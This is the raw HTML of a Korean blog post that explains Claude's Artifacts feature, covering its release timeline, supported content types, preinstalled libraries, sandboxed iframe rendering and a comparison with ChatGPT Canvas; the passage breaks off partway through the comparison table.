&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;도입: 텍스트의 한계를 넘어 '완성품'을 제시하는 AI&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;Artifacts란 무엇인가
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;탄생 배경과 출시 타임라인&lt;/li&gt;
&lt;li&gt;지원 유형과 기술 스펙&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;'라이브 프론트엔드'의 탄생
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;실시간 렌더링의 원리&lt;/li&gt;
&lt;li&gt;내장 라이브러리 생태계&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;정적인 챗GPT vs 동적인 클로드 &amp;mdash; 'UX 프릭션(Friction)'의 차이
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Canvas vs Artifacts 비교&lt;/li&gt;
&lt;li&gt;배포 기능의 결정적 차이&lt;/li&gt;
&lt;li&gt;커뮤니티 현장 반응 &amp;mdash; 찬사와 불만 모두&lt;/li&gt;
&lt;li&gt;바이브 코딩 도구와의 비교&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;Bun 인수 &amp;mdash; 신의 한 수
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;인수 배경과 타임라인&lt;/li&gt;
&lt;li&gt;기술적 의미&lt;/li&gt;
&lt;li&gt;Claude Code와의 관계&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;자연어 한마디로 CSS가 수정되는 마법&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;'0원' 무한 배포 파이프라인
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;내장 퍼블리시 기능&lt;/li&gt;
&lt;li&gt;무료 호스팅 플랫폼 비교&lt;/li&gt;
&lt;li&gt;바이브 코딩의 부상&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;실전 적용 시나리오
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;금융 및 데이터 대시보드&lt;/li&gt;
&lt;li&gt;여행 및 일상 기획&lt;/li&gt;
&lt;li&gt;미디어 및 콘텐츠 제작&lt;/li&gt;
&lt;li&gt;나만의 맞춤형 도구&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;2026년 최신 업데이트
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;인라인 시각화&lt;/li&gt;
&lt;li&gt;AI-Powered Artifacts&lt;/li&gt;
&lt;li&gt;영구 저장소와 MCP 연동&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;알아두어야 할 한계점&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;결론: 프론트엔드 개발의 민주화, 그리고 새로운 '공포'&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 20px; border-radius: 12px; border-left: 5px solid #0066cc; margin-bottom: 30px;&quot;&gt;&lt;b&gt;이 글에서 다루는 내용&lt;/b&gt;&lt;br /&gt;클로드의 Artifacts 시각화 기능이 왜 다른지, 기술적으로 어떻게 돌아가는지, ChatGPT와 비교하면 뭐가 다른지를 공식 문서 기반으로 따져본다. &lt;br /&gt;Bun 인수가 가져온 변화부터 제로 컨피그 배포, 실전 활용 시나리오까지 하나씩 짚는다.&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 1: 도입부 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;1. 도입 : 텍스트의 한계를 넘어 '완성품'을 제시하는 AI&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;ChatGPT나 클로드를 쓰다 보면 &quot;이 데이터가 표가 아니라 직접 조작할 수 있는 차트로 나오면 얼마나 좋을까?&quot;라는 생각이 한 번쯤 든다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;지금까지의 LLM이 코드를 짜주거나 텍스트를 요약해 주는 &lt;b&gt;'재료 공급자'&lt;/b&gt;였다면, 이제는 그 재료로 즉시 실행 가능한 &lt;b&gt;'완성품'&lt;/b&gt;을 내놓는 쪽으로 바뀌었다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;클로드의 Artifacts는 이 전환의 핵심이다. 단순히 코드를 텍스트로 나열하는 것이 아니라, &lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;HTML, CSS, JavaScript, React를 실시간으로 렌더링하여 즉시 상호작용할 수 있는 웹 애플리케이션을 채팅창 옆에 띄워준다.&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;핵심 관점&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;이 글은 기능 나열이 아니다. 클로드의 시각화 기능이 &lt;b&gt;LLM 시장에서 왜 다른지&lt;/b&gt;를 기술적 근거와 공식 문서를 바탕으로 따져보려고 한다. Anthropic의 Bun 인수, 제로 컨피그 배포 파이프라인, 2026년 3월 인라인 시각화 업데이트까지 담았다.&lt;/p&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 2: Artifacts란 무엇인가 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;2. Artifacts란 무엇인가&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;탄생 배경과 출시 타임라인&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Artifacts&lt;/b&gt;는 2024년 6월, Claude 3.5 Sonnet 출시와 함께 &lt;b&gt;기능 프리뷰(Feature Preview)&lt;/b&gt;로 처음 공개되었다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;이후 2024년 8월 27일, Claude.ai의 Free, Pro, Team 요금제에서 &lt;b&gt;정식 출시(GA)&lt;/b&gt;되었다. (이후 Max, Enterprise 등 추가 요금제에도 확대 적용)&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Anthropic의 공식 발표에 따르면, 프리뷰 기간 동안 사용자들이 &lt;b&gt;&quot;수천만 개(tens of millions)&quot;&lt;/b&gt;의 Artifacts를 생성했다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;(출처: &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://www.anthropic.com/news/artifacts&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Anthropic: Artifacts are now generally available&lt;/a&gt;)&lt;/p&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 15px; border-left: 4px solid #0066cc; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;Artifacts의 정의 (공식)&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;Artifacts는 클로드가 코드 스니펫, 텍스트 문서, 웹사이트 디자인 등을 생성할 때 대화창 옆의 &lt;b&gt;전용 윈도우에 실시간으로 렌더링&lt;/b&gt;하는 기능이다. 사용자가 결과물을 즉시 보고, 편집하고, 반복 개선할 수 있는 동적 작업 공간을 제공한다.&lt;/p&gt;
&lt;p style=&quot;margin-top: 5px; font-size: 13px; color: #666;&quot; data-ke-size=&quot;size16&quot;&gt;(출처: &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://support.claude.com/en/articles/9487310-what-are-artifacts-and-how-do-i-use-them&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Claude Help Center: What are artifacts&lt;/a&gt;)&lt;/p&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;클로드는 다음 조건을 충족하는 콘텐츠를 Artifact로 생성한다:&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;상당한 분량(일반적으로 15줄 이상)의 독립적인 콘텐츠&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;사용자가 편집하거나 반복 수정할 가능성이 높은 콘텐츠&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;단독으로 활용할 수 있을 만큼 완결성이 있는 콘텐츠&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;나중에 다시 참조할 가능성이 높은 콘텐츠&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;지원 유형과 기술 스펙&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Artifacts가 지원하는 콘텐츠 유형은 다음과 같다. (공식 Help Center + 개발자 문서 종합)&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 25px 0; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;유형&lt;/th&gt;
&lt;th style=&quot;padding: 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;MIME 타입&lt;/th&gt;
&lt;th style=&quot;padding: 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;설명&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;React 컴포넌트&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;application/vnd.ant.react&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;React 18 기반 함수형 컴포넌트, 상태 관리, Tailwind CSS 지원&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;HTML 페이지&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;text/html&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;HTML + CSS + JavaScript를 하나의 파일로 생성&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;SVG 이미지&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;image/svg+xml&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;벡터 그래픽 생성&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;Mermaid 다이어그램&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;application/vnd.ant.mermaid&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;플로우차트, 시퀀스 다이어그램, ERD 등&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;마크다운 문서&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;text/markdown&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;서식이 적용된 텍스트 문서&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;코드 스니펫&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;다양한 언어&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;Python, JavaScript 등 (표시 전용)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;margin-bottom: 10px; font-size: 13px; color: #666;&quot; data-ke-size=&quot;size16&quot;&gt;(출처: &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://support.claude.com/en/articles/9487310-what-are-artifacts-and-how-do-i-use-them&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Claude Help Center: What are artifacts&lt;/a&gt;)&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 10px; font-size: 13px; color: #666;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;그런데 Artifacts에는 &lt;b&gt;사전 설치(Pre-installed)&lt;/b&gt;된 라이브러리들이 있다. 아래 목록은 서드파티 리버스 엔지니어링과 커뮤니티 분석 기반이며, Anthropic이 공식 목록을 별도로 공개하지는 않았다.&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 25px 0; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;라이브러리&lt;/th&gt;
&lt;th style=&quot;padding: 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;용도&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;React 18&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;UI 프레임워크 (Hooks, 상태 관리 전체 지원)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;TypeScript&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;타입 안전한 JavaScript&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;Tailwind CSS&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;유틸리티 기반 CSS 프레임워크&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;shadcn/ui&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;사전 빌드된 UI 컴포넌트 라이브러리 (전체 컴포넌트 설치됨)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;Recharts&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;동적 차트 및 데이터 시각화&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;Lucide React&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;아이콘 라이브러리&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;Three.js&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;3D 그래픽 및 애니메이션&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;추가로 &lt;b&gt;Chart.js, D3.js, Plotly.js, p5.js&lt;/b&gt; 등은 &lt;code&gt;cdnjs.cloudflare.com&lt;/code&gt; CDN을 통해 외부 로드가 가능하다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Artifacts의 시스템 프롬프트에서 외부 스크립트 로드를 이 CDN으로만 제한하고 있기 때문이다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 10px; font-size: 13px; color: #666;&quot; data-ke-size=&quot;size16&quot;&gt;(참고: &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://www.reidbarber.com/blog/reverse-engineering-claude-artifacts&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Reid Barber: Reverse engineering Claude Artifacts&lt;/a&gt; &amp;mdash; 서드파티 리버스 엔지니어링 기반 정보)&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 3: 라이브 프론트엔드의 탄생 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;3. '라이브 프론트엔드'의 탄생&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;실시간 렌더링의 원리&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;기존 AI들은 코드를 텍스트로 길게 나열하고 &quot;이걸 복사해서 실행해 보세요&quot;라고 했다. 클로드는 HTML, CSS, JavaScript를 실시간으로 렌더링해서 &lt;b&gt;우측 패널에 바로 작동하는 프론트엔드 결과물&lt;/b&gt;을 띄운다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Artifacts의 렌더링은 다음과 같은 구조로 작동한다:&lt;/p&gt;
&lt;ol style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;입력(Input):&lt;/b&gt; 사용자가 자연어로 프롬프트를 입력&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;처리(Process):&lt;/b&gt; 클로드가 HTML/CSS/JS 또는 React 코드를 생성&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;렌더링(Engine):&lt;/b&gt; &lt;b&gt;샌드박스된 iframe&lt;/b&gt; 안에서 클라이언트 사이드로 실행&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;출력(Output):&lt;/b&gt; 즉석에서 렌더링된 완전한 웹 컴포넌트가 사이드 패널에 표시&lt;/li&gt;
&lt;/ol&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 15px; border-left: 4px solid #0066cc; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;샌드박스 보안 모델&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;Artifacts는 &lt;b&gt;샌드박스된 iframe&lt;/b&gt; 내에서 실행된다. 메인 페이지와 Artifact iframe 사이는 &lt;code&gt;window.postMessage()&lt;/code&gt;를 통해 통신하며, 엄격한 CSP 헤더와 프로세스 격리가 적용되어 메인 Claude.ai 세션을 보호한다.&lt;/p&gt;
&lt;p style=&quot;margin-top: 5px; font-size: 13px; color: #666;&quot; data-ke-size=&quot;size16&quot;&gt;(참고: Reid Barber의 리버스 엔지니어링 분석 기반)&lt;/p&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;이미지 출력이 아니다. 마우스를 올리면 상세 정보가 뜨는 &lt;b&gt;호버(Hover) 효과&lt;/b&gt;, 클릭에 반응하는 &lt;b&gt;인터랙션&lt;/b&gt;, 입력값을 바꾸면 결과가 즉각 바뀌는 &lt;b&gt;양방향 데이터 바인딩&lt;/b&gt;까지 된다. 말 그대로 움직이는 앱이다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 4: ChatGPT vs Claude --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;4. 정적인 챗GPT vs 동적인 클로드 &amp;mdash; 'UX 프릭션(Friction)'의 차이&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Canvas vs Artifacts 비교&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;ChatGPT의 Canvas는 2024년 10월 코드/텍스트 에디터로 출시되었고, 2025년 1월에 HTML과 React 코드 렌더링 기능이 추가되었다. 그러나 두 플랫폼의 접근 방식은 근본적으로 다르다. &lt;b&gt;(2026년 3월 기준 비교)&lt;/b&gt;&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 25px 0; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;비교 항목&lt;/th&gt;
&lt;th style=&quot;padding: 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;Claude Artifacts&lt;/th&gt;
&lt;th style=&quot;padding: 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;ChatGPT Canvas&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;핵심 철학&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;span style=&quot;color: #0066cc;&quot;&gt;&lt;b&gt;렌더링 우선 (Render-first)&lt;/b&gt;&lt;/span&gt; &amp;mdash; 결과물이 라이브 웹 앱으로 즉시 표시&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;코드 에디터 우선 (Code-editor-first) &amp;mdash; 코드 편집 후 선택적 미리보기&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;라이브 프리뷰&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;HTML/CSS/JS/React를 사이드 패널에서 실시간 렌더링&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;2025년 1월부터 HTML/React 렌더링 지원 (일부 불안정)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;React 지원&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;React 18 + Hooks + 상태 관리 + 내장 라이브러리 완전 지원&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;React 렌더링 가능하나, 크래시 버그가 더 빈번&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;데이터 시각화&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;Recharts, Chart.js, D3.js 등으로 인터랙티브 차트 생성&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;Python(Matplotlib) 기반 정적 이미지가 기본, 일부 호버 지원&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;인라인 편집&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;프롬프트로 재생성 (전체 코드 재작성 경향)&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;span style=&quot;color: #0066cc;&quot;&gt;&lt;b&gt;Canvas의 강점&lt;/b&gt;&lt;/span&gt; &amp;mdash; 하이라이트 후 부분 수정 가능&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;퍼블리시/배포&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;내장 퍼블리시&lt;/b&gt;&lt;/span&gt; (Share &amp;rarr; Publish 2클릭), 공유 URL, 임베드 코드 지원&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;네이티브 퍼블리시 기능 없음, 수동 복사 후 배포 필요&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;AI-Powered 앱&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;Artifact가 Claude API를 호출하는 AI 앱 생성 가능&lt;/td&gt;
